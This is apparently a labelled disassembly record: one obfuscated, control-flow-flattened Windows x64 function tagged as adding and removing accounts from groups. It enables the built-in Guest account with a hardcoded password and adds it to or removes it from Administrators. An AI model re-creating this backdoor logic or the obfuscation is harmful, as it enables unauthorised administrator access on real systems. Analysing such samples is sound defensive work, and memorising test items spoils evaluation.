Function at 0x140001010
Capabilities:
Add user account to group
Delete user account from group

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x1a8
movaps xmmword [rsp + 0x190], xmm6
mov rax, qword [0x1400221e8]
xor rax, rsp
mov qword [rsp + 0x188], rax
cmp ecx, 2
setne byte [rsp + 0x47]
mov dword [rsp + 0xc0], ecx
cmp ecx, 3
setne byte [rsp + 0x48]
mov qword [rsp + 0xe0], rdx
lea rax, [rdx + 0x10]
mov qword [rsp + 0xc8], rax
mov ecx, 0xadd33f23
xorps xmm6, xmm6
jmp 0x140001080
cmp eax, 0xa
cmovl ecx, edi
setl al
xor bl, al
cmovne ecx, edx
cmp ecx, 0xff1e408c
jle 0x1400010f0
cmp ecx, 0x416c03fb
jle 0x140001160
cmp ecx, 0x65fa570e
jg 0x1400012db
cmp ecx, 0x551f86a6
jle 0x14000142b
cmp ecx, 0x61979c13
jg 0x1400017cf
cmp ecx, 0x551f86a7
je 0x140001c93
cmp ecx, 0x574a6919
je 0x140001ca2
cmp ecx, 0x5ced9f13
jne 0x140001080
mov eax, dword [rsp + 0x68]
mov ecx, eax
xor ecx, 2
and ecx, eax
mov rax, qword [rsp + 0x50]
mov dword [rax], ecx
jmp 0x140001ba7
cmp ecx, 0xb93049aa
jg 0x140001220
cmp ecx, 0x99c81934
jle 0x140001321
cmp ecx, 0xa8a5d2f5
jle 0x140001497
cmp ecx, 0xabfeab14
jg 0x1400017ff
cmp ecx, 0xa8a5d2f6
je 0x140001cbb
cmp ecx, 0xa9f89efa
je 0x140001cc5
cmp ecx, 0xaadce063
jne 0x140001080
mov rax, qword [rsp + 0x50]
mov ecx, 0xc98ef628
jmp 0x140001080
cmp ecx, 0x13bbbf82
jle 0x140001388
cmp ecx, 0x2a4f795d
jle 0x14000150e
cmp ecx, 0x37012833
jg 0x140001833
cmp ecx, 0x2a4f795e
je 0x140001cf8
cmp ecx, 0x2c0c859f
je 0x140001d02
cmp ecx, 0x2e0cebd1
jne 0x140001080
lea rsi, [rsp + 0x160]
mov qword [rsp + 0x88], rsi
mov rax, qword [rsp + 0x88]
mov rax, qword [rsp + 0x88]
movaps xmmword [rax + 0x10], xmm6
movaps xmmword [rax], xmm6
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x28], 0xf
xor ecx, ecx
xor edx, edx
lea r8, section..data
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rax, qword [rsp + 0xe0]
mov rdx, qword [rax + 8]
mov rcx, rsi
call fcn.140007f48
mov ecx, 0x70be5493
test eax, eax
je 0x140001080
mov ecx, 0xf56407eb
jmp 0x140001080
cmp ecx, 0xdd6261d6
jle 0x1400013ce
cmp ecx, 0xeea5500d
jle 0x14000159e
cmp ecx, 0xf5258000
jg 0x140001900
cmp ecx, 0xeea5500e
je 0x140001d3d
cmp ecx, 0xeefe6472
je 0x140001ded
cmp ecx, 0xf3873f39
jne 0x140001080
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
lea rcx, str.disable
call fcn.140007f48
mov ecx, dword [0x140022c90]
mov ebp, dword [0x140022c94]
lea esi, [rcx - 1]
imul esi, ecx
mov ebx, esi
xor ebx, 0xfffffffe
test ebx, esi
sete cl
cmp ebp, 0xa
setl dl
xor dl, cl
mov ecx, 0xbc33b887
mov edi, 0xbc33b887
jne 0x1400012c4
mov edi, 0xcaffcd80
test ebx, esi
cmovne ecx, edi
cmp ebp, 0xa
cmovge ecx, edi
test eax, eax
sete byte [rsp + 0x4b]
jmp 0x140001080
cmp ecx, 0x70be5492
jg 0x14000161b
cmp ecx, 0x6bb62421
jle 0x14000193a
cmp ecx, 0x6bb62422
je 0x140001e2c
cmp ecx, 0x6e5be206
je 0x140001e68
cmp ecx, 0x70351dd3
jne 0x140001080
mov ecx, 0xff1e408d
jmp 0x140001080
cmp ecx, 0x929bbe63
jg 0x14000167a
cmp ecx, 0x8b808704
jle 0x1400019b5
cmp ecx, 0x8b808705
je 0x140001e91
cmp ecx, 0x8ff8edf0
je 0x140001ebb
cmp ecx, 0x90c41f12
jne 0x140001080
cmp byte [rsp + 0x3f], 0
lea rdx, [0x1400220b2]
jne 0x140001372
lea rdx, [0x1400220b9]
lea rcx, [0x1400220f0]
call fcn.140002750
mov ecx, 0x292cb5ea
jmp 0x140001080
cmp ecx, 0xc9fecd0
jg 0x14000171b
cmp ecx, 0x3396004
jle 0x1400019d7
cmp ecx, 0x3396005
je 0x140001ed0
cmp ecx, 0x69823db
je 0x140001f0b
cmp ecx, 0x73cdb26
jne 0x140001080
mov ecx, 0x6b23eb08
jmp 0x140001080
cmp ecx, 0xcd03494e
jg 0x140001789
cmp ecx, 0xbfa5bc29
jle 0x140001a46
cmp ecx, 0xbfa5bc2a
je 0x140001f23
cmp ecx, 0xc98ef628
je 0x140001f3d
cmp ecx, 0xcaffcd80
jne 0x140001080
mov rax, qword [rsp + 0xc8]
mov rdx, qword [rax]
lea rcx, str.disable
call fcn.140007f48
mov ecx, 0xf3873f39
jmp 0x140001080
cmp ecx, 0x4fb47053
jle 0x140001a78
cmp ecx, 0x4fb47054
je 0x140001f9e
cmp ecx, 0x5068b297
je 0x140001fdc
cmp ecx, 0x534ea9c3
jne 0x140001080
mov r9, qword [rsp + 0x80]
mov dword [rsp + 0x20], 1
xor ecx, ecx
lea rdx, [rsp + 0x140]
mov r8d, 3
call sub.NETAPI32.dll_NetLocalGroupAddMembers
mov ecx, 0xb93049ab
test eax, eax
je 0x140001080
mov ecx, 0x7cf08556
jmp 0x140001080
cmp ecx, 0x9ecc2cbd
jle 0x140001aaa
cmp ecx, 0x9ecc2cbe
je 0x140001ff2
cmp ecx, 0xa2868521
je 0x140002020
cmp ecx, 0xa57ffa3a
jne 0x140001080
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x74], eax
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xe8], rax
cmp byte [rsp + 0x3f], 0
mov ecx, 0x534ea9c3
jne 0x140001080
mov ecx, 0xcc45adf
jmp 0x140001080
cmp ecx, 0x2657c332
jle 0x140001af5
cmp ecx, 0x2657c333
je 0x140002186
cmp ecx, 0x27fcbb32
je 0x1400021b6
cmp ecx, 0x292cb5ea
jne 0x140001080
cmp byte [rsp + 0x3f], 0
lea rdx, [0x1400220b2]
jne 0x140001553
lea rdx, [0x1400220b9]
lea rcx, [0x1400220f0]
call fcn.140002750
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea edx, [rcx - 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp eax, 0xa
setl bl
xor bl, cl
mov ecx, 0x13bbbf83
mov ebx, 0x13bbbf83
jne 0x140002411
mov ebx, 0x90c41f12
jmp 0x140002411
cmp ecx, 0xe3be592a
jle 0x140001b23
cmp ecx, 0xe3be592b
je 0x1400021c0
cmp ecx, 0xe6ae8824
je 0x1400021f3
cmp ecx, 0xecf2117a
jne 0x140001080
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea edx, [rcx - 1]
imul edx, ecx
mov esi, edx
xor esi, 0xfffffffe
test esi, edx
sete cl
cmp eax, 0xa
setl bl
xor bl, cl
mov ecx, 0x79149fd7
mov ebx, 0x79149fd7
jne 0x140001603
mov ebx, 0x61979c14
test esi, edx
cmovne ecx, ebx
cmp eax, 0xa
mov dword [rsp + 0xc4], r15d
cmovge ecx, ebx
jmp 0x140001080
cmp ecx, 0x79149fd6
jle 0x140001b8f
cmp ecx, 0x79149fd7
je 0x14000220d
cmp ecx, 0x7cf08556
je 0x140002248
cmp ecx, 0x7f454977
jne 0x140001080
mov eax, dword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov ecx, eax
and ecx, 2
xor eax, 2
or eax, ecx
mov rcx, qword [rsp + 0x50]
mov dword [rcx], eax
mov ecx, 0x819c20e7
jmp 0x140001080
cmp ecx, 0x9453422b
jle 0x140001bb7
cmp ecx, 0x9453422c
je 0x140002261
cmp ecx, 0x949ccd9b
je 0x1400022ab
cmp ecx, 0x97c15fcb
jne 0x140001080
mov rax, qword [rsp + 0xb8]
mov eax, dword [rax + 0x28]
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x50], rcx
mov rcx, qword [rsp + 0x50]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xf8]
call sub.NETAPI32.dll_NetApiBufferFree
mov ecx, dword [0x140022c90]
mov ebp, dword [0x140022c94]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
xor ebx, 0xfffffffe
test ebx, edx
sete cl
cmp ebp, 0xa
setl al
xor al, cl
mov ecx, 0xe6ae8824
mov edi, 0xe6ae8824
jne 0x14000170b
mov edi, 0x6e5be206
test ebx, edx
cmovne ecx, edi
cmp ebp, 0xa
cmovge ecx, edi
jmp 0x140001080
cmp ecx, 0xfd8f989
jle 0x140001be8
cmp ecx, 0xfd8f98a
je 0x1400022f2
cmp ecx, 0x1195c90d
je 0x14000233a
cmp ecx, 0x123d058f
jne 0x140001080
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea edx, [rcx - 1]
imul edx, ecx
mov esi, edx
xor esi, 0xfffffffe
test esi, edx
sete cl
cmp eax, 0xa
setl bl
xor bl, cl
mov ecx, 0xfd8f98a
mov ebx, 0xfd8f98a
jne 0x140002597
mov ebx, 0xd78cad36
jmp 0x140002597
cmp ecx, 0xcf307e71
jle 0x140001c3c
cmp ecx, 0xcf307e72
je 0x140002344
cmp ecx, 0xd3fbf73d
je 0x140002395
cmp ecx, 0xd78cad36
jne 0x140001080
lea rcx, [0x1400221a0]
call fcn.140002750
mov ecx, 0xfd8f98a
jmp 0x140001080
cmp ecx, 0x61979c14
je 0x1400023d1
cmp ecx, 0x65bb8970
je 0x1400023db
cmp ecx, 0x65d61030
jne 0x140001080
lea rcx, [0x140022170]
jmp 0x14000224f
cmp ecx, 0xabfeab15
je 0x140002419
cmp ecx, 0xadd33f23
je 0x140002457
cmp ecx, 0xb685477e
jne 0x140001080
mov ecx, 0x9453422c
mov r13d, 1
jmp 0x140001080
cmp ecx, 0x37012834
je 0x140002485
cmp ecx, 0x3ca7b1d1
je 0x1400024c0
cmp ecx, 0x3d31c648
jne 0x140001080
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x70], eax
lea r9, [rsp + 0xf8]
mov qword [rsp + 0xd8], r9
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0xf8], 0
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
mov dword [rax], 0
lea rax, [rsp + 0x130]
mov qword [rsp + 0x78], rax
mov rdx, qword [rsp + 0x78]
xor ecx, ecx
mov r8d, 1
call sub.NETAPI32.dll_NetUserGetInfo
mov rcx, qword [rsp + 0xf8]
mov qword [rsp + 0xb8], rcx
cmp qword [rsp + 0xb8], 0
setne dl
mov ebx, 0x2c0c859f
mov ecx, 0xe3be592b
test eax, eax
sete al
je 0x1400018f1
mov ebx, 0xe3be592b
xor dl, al
jne 0x140001080
mov ecx, ebx
jmp 0x140001080
cmp ecx, 0xf5258001
je 0x140002514
cmp ecx, 0xf56407eb
je 0x140002529
cmp ecx, 0xf68dab6a
jne 0x140001080
lea rcx, [0x1400221ce]
call fcn.140002750
mov ecx, 0x949ccd9b
jmp 0x140001080
cmp ecx, 0x65fa570f
je 0x140002533
cmp ecx, 0x69dcf3e2
jne 0x140002712
mov r9, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x20], 0
xor ecx, ecx
mov r8d, 0x3f0
call sub.NETAPI32.dll_NetUserSetInfo
test eax, eax
setne byte [rsp + 0x4f]
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea ebp, [rcx - 1]
imul ebp, ecx
not ebp
or ebp, 0xfffffffe
mov edx, 0xbfa5bc2a
mov ecx, 0x8b808705
mov edi, 0xbfa5bc2a
cmp ebp, 0xffffffff
sete bl
je 0x140001072
mov edi, 0x8b808705
jmp 0x140001072
cmp ecx, 0x819c20e7
je 0x14000254d
cmp ecx, 0x83aad5b6
jne 0x140001080
mov ecx, 0xff1e408d
jmp 0x140001080
cmp ecx, 0xff1e408d
je 0x1400025a7
cmp ecx, 0x25f57b3
jne 0x140001080
mov rax, qword [rsp + 0x50]
mov eax, dword [rax]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
mov ecx, eax
xor ecx, 0xfffffffd
test ecx, eax
setne byte [rsp + 0x4e]
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea ebp, [rcx - 1]
imul ebp, ecx
not ebp
or ebp, 0xfffffffe
mov edx, 0x574a6919
mov ecx, 0x551f86a7
mov edi, 0x574a6919
cmp ebp, 0xffffffff
sete bl
je 0x1400026ef
mov edi, 0x551f86a7
jmp 0x1400026ef
cmp ecx, 0xb93049ab
je 0x1400025ea
cmp ecx, 0xbc33b887
jne 0x140001080
cmp byte [rsp + 0x4b], 0
mov ecx, 0xb685477e
jne 0x140001080
mov ecx, 0x416c03fc
jmp 0x140001080
cmp ecx, 0x416c03fc
je 0x140002605
cmp ecx, 0x46889a7f
jne 0x140001080
cmp byte [rsp + 0x49], 0
mov ecx, 0xeefe6472
jne 0x140001080
mov ecx, 0x37012834
jmp 0x140001080
cmp ecx, 0x99c81935
je 0x140002632
cmp ecx, 0x9b473dc4
jne 0x140001080
cmp byte [rsp + 0x3f], 0
lea rdx, [0x14002204d]
jne 0x140001ad7
lea rdx, [0x140022051]
lea rcx, [0x140022090]
call fcn.140002750
mov ecx, 0x3d31c648
mov dword [rsp + 0x60], 1
jmp 0x140001080
cmp ecx, 0x13bbbf83
je 0x1400021a7
cmp ecx, 0x1b90d947
jne 0x140001080
lea rcx, [0x140022010]
call fcn.140002750
mov ecx, 0xcf307e72
jmp 0x140001080
cmp ecx, 0xdd6261d7
je 0x14000264b
cmp ecx, 0xe3108399
jne 0x140001080
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov ecx, dword [0x140022c90]
mov edx, dword [0x140022c94]
lea esi, [rcx - 1]
imul esi, ecx
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete cl
cmp edx, 0xa
setl bl
xor bl, cl
mov ecx, 0x46889a7f
mov ebx, 0x46889a7f
jne 0x140001b77
mov ebx, 0xcd03494f
cmp esi, 0xffffffff
cmovne ecx, ebx
cmp edx, 0xa
cmovge ecx, ebx
test eax, eax
setne byte [rsp + 0x49]
jmp 0x140001080
cmp ecx, 0x70be5493
je 0x140002680
cmp ecx, 0x723ad483
jne 0x140001080
mov ecx, 0xf5258001
mov r12d, 1
jmp 0x140001080
cmp ecx, 0x929bbe64
je 0x1400026bc
cmp ecx, 0x93ec5eab
jne 0x140001080
cmp byte [rsp + 0x4d], 0
mov ecx, 0x5ced9f13
jne 0x140001be0
mov ecx, 0xf5258001
xor r12d, r12d
jmp 0x140001080
cmp ecx, 0xc9fecd1
je 0x1400025f6
cmp ecx, 0xcc45adf
jne 0x140001080
mov r9, qword [rsp + 0x80]
mov dword [rsp + 0x20], 1
xor ecx, ecx
lea rdx, [rsp + 0x140]
mov r8d, 3
call sub.NETAPI32.dll_NetLocalGroupDelMembers
mov ecx, 0x123d058f
test eax, eax
je 0x140001080
mov ecx, 0x65d61030
jmp 0x140001080
cmp ecx, 0xcd03494f
je 0x140002702
cmp ecx, 0xce9d2a80
jne 0x140001080
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea edx, [rcx - 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp eax, 0xa
setl bl
xor bl, cl
mov ecx, 0x929bbe64
mov ebx, 0x929bbe64
jne 0x140002411
mov ebx, 0xa8a5d2f6
jmp 0x140002411
mov rax, qword [rsp + 0x50]
mov ecx, 0x25f57b3
jmp 0x140001080
cmp byte [rsp + 0x4e], 0
mov ecx, 0xf5258001
jne 0x140001cb3
mov ecx, 0x6bb62422
xor r12d, r12d
jmp 0x140001080
mov ecx, 0x929bbe64
jmp 0x140001080
cmp byte [rsp + 0x3f], 0
lea rdx, [0x14002204d]
jne 0x140001cda
lea rdx, [0x140022051]
lea rcx, str.1G7J__v
call fcn.140002750
mov ecx, 0x3d31c648
mov dword [rsp + 0x60], 0
jmp 0x140001080
mov ecx, 0x6b23eb08
jmp 0x140001080
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
xor ebx, 0xfffffffe
mov edx, 0x97c15fcb
mov ecx, 0x6e5be206
mov edi, 0x97c15fcb
test ebx, ebp
sete bl
je 0x140001072
mov edi, 0x6e5be206
jmp 0x140001072
movups xmm0, xmmword [0x14001700e]
movups xmmword [rsp + 0x14e], xmm0
movaps xmm0, xmmword [str.Administrators]
movaps xmmword [rsp + 0x140], xmm0
mov eax, dword [0x140017026]
mov dword [rsp + 0x138], eax
mov rax, qword [0x14001701e]
mov qword [rsp + 0x130], rax
movups xmm0, xmmword [0x14001703c]
movups xmmword [rsp + 0x11c], xmm0
movaps xmm0, xmmword [str.Dise65urity1_]
movaps xmmword [rsp + 0x110], xmm0
mov word [rsp + 0x10e], 0
cmp dword [rsp + 0x6c], 0
lea rax, [rsp + 0x110]
je 0x140001db6
lea rax, [rsp + 0x10e]
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x20], 0
xor ecx, ecx
lea rdx, str.Guest
mov r8d, 0x3eb
lea r9, [rsp + 0x100]
call sub.NETAPI32.dll_NetUserSetInfo
mov ecx, 0xa2868521
jmp 0x140001080
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea edx, [rcx - 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp eax, 0xa
setl bl
xor bl, cl
mov ecx, 0x3ca7b1d1
mov ebx, 0x3ca7b1d1
jne 0x140002411
mov ebx, 0x1195c90d
jmp 0x140002411
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea ebp, [rcx - 1]
imul ebp, ecx
not ebp
or ebp, 0xfffffffe
mov edx, 0x819c20e7
mov ecx, 0x7f454977
mov edi, 0x819c20e7
cmp ebp, 0xffffffff
sete bl
je 0x140001072
mov edi, 0x7f454977
jmp 0x140001072
mov rax, qword [rsp + 0xb8]
mov eax, dword [rax + 0x28]
mov dword [rsp + 0xf0], eax
mov rcx, qword [rsp + 0xf8]
call sub.NETAPI32.dll_NetApiBufferFree
mov ecx, 0x97c15fcb
jmp 0x140001080
mov r9, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x20], 0
xor ecx, ecx
mov r8d, 0x3f0
call sub.NETAPI32.dll_NetUserSetInfo
mov ecx, 0x69dcf3e2
jmp 0x140001080
mov ecx, 0xa57ffa3a
mov eax, dword [rsp + 0xc4]
mov dword [rsp + 0x64], eax
jmp 0x140001080
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
xor ebx, 0xfffffffe
mov edx, 0x292cb5ea
mov ecx, 0x90c41f12
mov edi, 0x292cb5ea
test ebx, ebp
sete bl
je 0x1400026ef
mov edi, 0x90c41f12
jmp 0x1400026ef
mov ecx, 0x949ccd9b
test r14d, r14d
je 0x140001080
mov ecx, 0xf68dab6a
jmp 0x140001080
cmp byte [rsp + 0x4f], 0
mov ecx, 0x9ecc2cbe
jne 0x140001080
mov ecx, 0x2657c333
jmp 0x140001080
mov ecx, dword [0x140022c90]
mov ebp, dword [0x140022c94]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
xor ebx, 0xfffffffe
test ebx, edx
sete cl
cmp ebp, 0xa
setl al
xor al, cl
mov ecx, 0x93ec5eab
mov esi, 0x93ec5eab
jne 0x140001f72
mov esi, 0xaadce063
test ebx, edx
cmovne ecx, esi
cmp ebp, 0xa
mov rax, qword [rsp + 0x50]
mov eax, dword [rax]
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
not eax
cmovge ecx, esi
or eax, 0xfffffffd
cmp eax, 0xffffffff
setne byte [rsp + 0x4d]
jmp 0x140001080
mov ecx, dword [0x140022c90]
mov edi, dword [0x140022c94]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
xor ebx, 0xfffffffe
test ebx, edx
sete cl
cmp edi, 0xa
setl al
xor al, cl
mov ecx, 0xf3873f39
mov esi, 0xf3873f39
jne 0x140002385
mov esi, 0xcaffcd80
jmp 0x140002385
lea rcx, [0x140022030]
call fcn.140002750
mov ecx, 0xce9d2a80
jmp 0x140001080
cmp byte [rsp + 0x3f], 0
lea rdx, [0x1400220b2]
jne 0x140002007
lea rdx, [0x1400220b9]
lea rcx, str.9O_B_
call fcn.140002750
mov ecx, 0xecf2117a
xor r15d, r15d
jmp 0x140001080
lea rax, [rsp + 0x140]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov rax, qword [rsp + 0x90]
movups xmm0, xmmword [0x14001700e]
movups xmmword [rax + 0xe], xmm0
movaps xmm0, xmmword [str.Administrators]
movaps xmmword [rax], xmm0
lea rax, [rsp + 0x130]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
mov rax, qword [rsp + 0x98]
mov ecx, dword [0x140017026]
mov dword [rax + 8], ecx
mov rcx, qword [0x14001701e]
mov qword [rax], rcx
lea rcx, [rsp + 0x110]
mov qword [rsp + 0xa0], rcx
mov rax, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa0]
movups xmm0, xmmword [0x14001703c]
movups xmmword [rax + 0xc], xmm0
movaps xmm0, xmmword [str.Dise65urity1_]
movaps xmmword [rax], xmm0
lea rax, [rsp + 0x10e]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xa8]
mov word [rax], 0
lea rax, [rsp + 0x100]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
cmp dword [rsp + 0x6c], 0
sete byte [rsp + 0x3f]
cmp byte [rsp + 0x3f], 0
mov rax, rcx
jne 0x140002116
lea rax, [rsp + 0x10e]
mov qword [rsp + 0x100], rax
mov r9, qword [rsp + 0xb0]
mov qword [rsp + 0x20], 0
xor ecx, ecx
lea rdx, str.Guest
mov r8d, 0x3eb
call sub.NETAPI32.dll_NetUserSetInfo
test eax, eax
setne byte [rsp + 0x4c]
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea ebp, [rcx - 1]
imul ebp, ecx
not ebp
or ebp, 0xfffffffe
mov edx, 0x65fa570f
mov ecx, 0xeea5500e
mov edi, 0x65fa570f
cmp ebp, 0xffffffff
sete bl
je 0x140001072
mov edi, 0xeea5500e
jmp 0x140001072
cmp byte [rsp + 0x3f], 0
lea rdx, [0x1400220b2]
jne 0x14000219b
lea rdx, [0x1400220b9]
lea rcx, [0x1400220f0]
call fcn.140002750
mov ecx, 0xecf2117a
mov r15d, dword [rsp + 0x70]
jmp 0x140001080
mov ecx, 0xd3fbf73d
jmp 0x140001080
cmp byte [rsp + 0x3f], 0
lea rdx, [0x1400220b2]
jne 0x1400021d5
lea rdx, [0x1400220b9]
lea rcx, str.9O_B_
call fcn.140002750
mov ecx, 0xa57ffa3a
mov dword [rsp + 0x64], 0
jmp 0x140001080
cmp byte [rsp + 0x3f], 0
mov ecx, 0x65bb8970
jne 0x140001080
mov ecx, 0xabfeab15
jmp 0x140001080
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
xor ebx, 0xfffffffe
mov edx, 0x8ff8edf0
mov ecx, 0x61979c14
mov edi, 0x8ff8edf0
test ebx, ebp
sete bl
je 0x140001072
mov edi, 0x61979c14
jmp 0x140001072
lea rcx, [0x140022110]
call fcn.140002750
mov ecx, 0x69823db
xor r14d, r14d
jmp 0x140001080
mov ecx, dword [0x140022c90]
mov ebp, dword [0x140022c94]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
xor ebx, 0xfffffffe
test ebx, edx
sete cl
cmp ebp, 0xa
setl al
xor al, cl
mov ecx, 0xa2868521
mov esi, 0xa2868521
jne 0x140002296
mov esi, 0xeea5500e
test ebx, edx
cmovne ecx, esi
cmp ebp, 0xa
mov dword [rsp + 0x6c], r13d
cmovge ecx, esi
jmp 0x140001080
mov rax, qword [rsp + 0x80]
mov rax, qword [rsp + 0x58]
mov rax, qword [rsp + 0xd8]
mov rax, qword [rsp + 0xb0]
mov rax, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xa0]
mov rax, qword [rsp + 0x98]
mov rax, qword [rsp + 0x90]
mov ecx, 0xce9d2a80
jmp 0x140001080
lea rcx, [0x1400221a0]
call fcn.140002750
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea ebp, [rcx - 1]
imul ebp, ecx
not ebp
or ebp, 0xfffffffe
mov edx, 0xc9fecd1
mov ecx, 0xd78cad36
mov edi, 0xc9fecd1
cmp ebp, 0xffffffff
sete bl
je 0x140001072
mov edi, 0xd78cad36
jmp 0x140001072
mov ecx, 0x3ca7b1d1
jmp 0x140001080
lea rcx, [0x140022010]
call fcn.140002750
mov ecx, dword [0x140022c90]
mov edi, dword [0x140022c94]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
xor ebx, 0xfffffffe
test ebx, edx
sete cl
cmp edi, 0xa
setl al
xor al, cl
mov ecx, 0x70351dd3
mov esi, 0x70351dd3
jne 0x140002385
mov esi, 0x1b90d947
test ebx, edx
cmovne ecx, esi
cmp edi, 0xa
cmovge ecx, esi
jmp 0x140001080
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea ebp, [rcx - 1]
imul ebp, ecx
not ebp
or ebp, 0xfffffffe
mov edx, 0x2a4f795e
mov ecx, 0x27fcbb32
mov edi, 0x2a4f795e
cmp ebp, 0xffffffff
sete bl
je 0x140001072
mov edi, 0x27fcbb32
jmp 0x140001072
mov ecx, 0x79149fd7
jmp 0x140001080
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea edx, [rcx - 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp eax, 0xa
setl bl
xor bl, cl
mov ecx, 0xc98ef628
mov ebx, 0xc98ef628
jne 0x140002411
mov ebx, 0xaadce063
cmp edx, 0xffffffff
jmp 0x140002599
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea edx, [rcx - 1]
imul edx, ecx
mov esi, edx
xor esi, 0xfffffffe
test esi, edx
sete cl
cmp eax, 0xa
setl bl
xor bl, cl
mov ecx, 0x25f57b3
mov ebx, 0x25f57b3
jne 0x140002597
mov ebx, 0x551f86a7
jmp 0x140002597
movzx ebx, byte [rsp + 0x47]
movzx eax, byte [rsp + 0x48]
xor al, bl
mov edx, 0x73cdb26
mov ecx, 0x2e0cebd1
test bl, bl
jne 0x140002476
mov edx, 0x2e0cebd1
test al, 1
jne 0x140001080
mov ecx, edx
jmp 0x140001080
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea ebx, [rcx - 1]
imul ebx, ecx
mov esi, ebx
xor esi, 0xfffffffe
mov edx, 0xcf307e72
mov ecx, 0x1b90d947
mov edi, 0xcf307e72
test esi, ebx
sete bl
je 0x140001072
mov edi, 0x1b90d947
jmp 0x140001072
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea edx, [rcx - 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp eax, 0xa
setl bl
xor bl, cl
mov ecx, 0x99c81935
mov ebx, 0x99c81935
jne 0x1400024f6
mov ebx, 0x1195c90d
cmp edx, 0xffffffff
cmovne ecx, ebx
cmp eax, 0xa
cmovge ecx, ebx
cmp dword [rsp + 0xc0], 3
sete byte [rsp + 0x4a]
jmp 0x140001080
test r12d, r12d
mov ecx, 0xdd6261d7
mov eax, 0x3396005
cmove ecx, eax
jmp 0x140001080
mov ecx, 0xff1e408d
jmp 0x140001080
cmp byte [rsp + 0x4c], 0
mov ecx, 0xa9f89efa
jne 0x140001080
mov ecx, 0x9b473dc4
jmp 0x140001080
mov eax, dword [rsp + 0x40]
mov ecx, eax
and ecx, 2
xor eax, 2
or eax, ecx
mov rcx, qword [rsp + 0x50]
mov dword [rcx], eax
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea edx, [rcx - 1]
imul edx, ecx
mov esi, edx
xor esi, 0xfffffffe
test esi, edx
sete cl
cmp eax, 0xa
setl bl
xor bl, cl
mov ecx, 0x723ad483
mov ebx, 0x723ad483
jne 0x140002597
mov ebx, 0x7f454977
test esi, edx
cmovne ecx, ebx
cmp eax, 0xa
cmovge ecx, ebx
jmp 0x140001080
mov rax, qword [rsp + 0x88]
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
xor ebx, 0xfffffffe
mov edx, 0xd3fbf73d
mov ecx, 0x27fcbb32
mov edi, 0xd3fbf73d
test ebx, ebp
sete bl
je 0x1400026ef
mov edi, 0x27fcbb32
jmp 0x1400026ef
